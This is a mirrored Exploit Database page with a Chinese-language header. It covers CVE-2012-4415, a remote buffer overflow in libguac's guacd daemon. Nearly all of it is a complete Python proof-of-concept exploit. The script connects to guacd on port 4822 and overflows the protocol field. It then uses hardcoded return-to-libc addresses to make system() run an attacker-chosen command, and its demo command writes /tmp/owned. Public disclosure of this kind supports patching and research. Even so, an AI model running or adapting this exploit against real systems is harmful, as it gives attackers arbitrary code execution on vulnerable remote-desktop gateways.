libguac – Remote Buffer Overflow

• Exploit Database
• 128 阅读

• 作者： Michael Jumper
  日期： 2012-09-11
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/37788/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29

  source: https://www.securityfocus.com/bid/55497/info   libguac is prone to a remote buffer-overflow vulnerability.   Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions.   #!/usr/bin/python # CVE-2012-4415: PoC for guacd buffer overflow vulnerability # # Copyright (c) 2012 Timo Juhani Lindfors <timo.lindfors@iki.fi> # # Allows arbitrary code execution on Debian i386 guacd 0.6.0-1 with # default configuration. Uses return-to-libc to bypass non-executable # stack. # import socket, struct PROTOCOL_ADDRESS = 0xbf807e9f SYSTEM_ADDRESS = 0xb76e7640 class GuacdPOC: def __init__(self, command): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect((&apos;localhost&apos;, 4822)) self.s("select") self.c(",") protocol = (command + "; " + "#" * 265)[:265] protocol += struct.pack("L", PROTOCOL_ADDRESS) protocol += struct.pack("L", SYSTEM_ADDRESS) self.s(protocol) self.c(";") def s(self, x): self.sock.send("%d.%s" % (len(x), x)) def c(self, x): self.sock.send(x) GuacdPOC("touch /tmp/owned")